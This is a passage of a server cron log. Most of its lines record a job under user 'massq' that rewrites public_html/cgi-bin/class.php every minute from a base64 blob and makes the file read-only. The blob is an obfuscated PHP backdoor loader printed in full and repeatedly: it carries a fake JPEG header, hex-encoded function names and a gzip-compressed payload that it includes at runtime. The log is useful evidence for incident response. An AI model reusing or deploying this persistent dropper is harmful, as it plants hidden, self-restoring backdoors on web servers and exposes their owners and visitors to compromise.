Nov  9 23:12:01 server CROND[8936]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:13:01 server CROND[9808]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:14:01 server CROND[10257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:15:01 server CROND[10992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 23:15:01 server CROND[10993]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:15:01 server CROND[10994]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 23:16:01 server CROND[11904]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:17:01 server CROND[12823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:18:01 server CROND[13613]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:19:01 server CROND[14424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:20:01 server CROND[15262]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 23:20:01 server CROND[15263]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:20:01 server CROND[15265]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 23:20:01 server CROND[15264]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 23:20:01 server CROND[15266]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 23:21:01 server CROND[16167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:22:01 server CROND[17103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:23:01 server CROND[17917]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:24:01 server CROND[18736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:25:01 server CROND[19563]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 23:25:01 server CROND[19564]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 